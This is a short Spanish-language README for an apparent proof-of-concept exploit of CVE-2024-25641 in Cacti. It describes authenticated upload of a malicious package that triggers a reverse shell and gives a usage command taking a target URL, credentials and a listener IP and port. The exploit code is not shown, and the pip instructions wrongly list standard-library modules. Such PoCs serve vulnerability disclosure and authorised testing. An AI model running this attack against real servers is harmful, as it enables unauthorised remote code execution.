Cacti CVE-2024-25641: Prueba de Concepto (PoC) de RCE mediante Carga de Paquete Autenticado

Este script es una Prueba de Concepto (PoC) para explotar la vulnerabilidad CVE-2024-25641 en Cacti, una herramienta de monitoreo basada en web. El script automatiza el proceso de autenticación con la aplicación, la carga de un paquete malicioso y la activación de una reverse shell.

Requisitos

• Python 3.x
• Librería requests
• Librería argparse
• Librería re

Puedes instalar la librería Python requerida usando pip3:

pip3 install requests
pip3 install argparse
pip3 install re

Uso

(asegúrate de colocar el archivo test.xml.gz en el mismo directorio que exploit.py)

python3 exploit.py --url <TARGET_URL> -u <USERNAME> -p <PASSWORD> -i <LOCAL_IP> -l <PORT> [--proxy]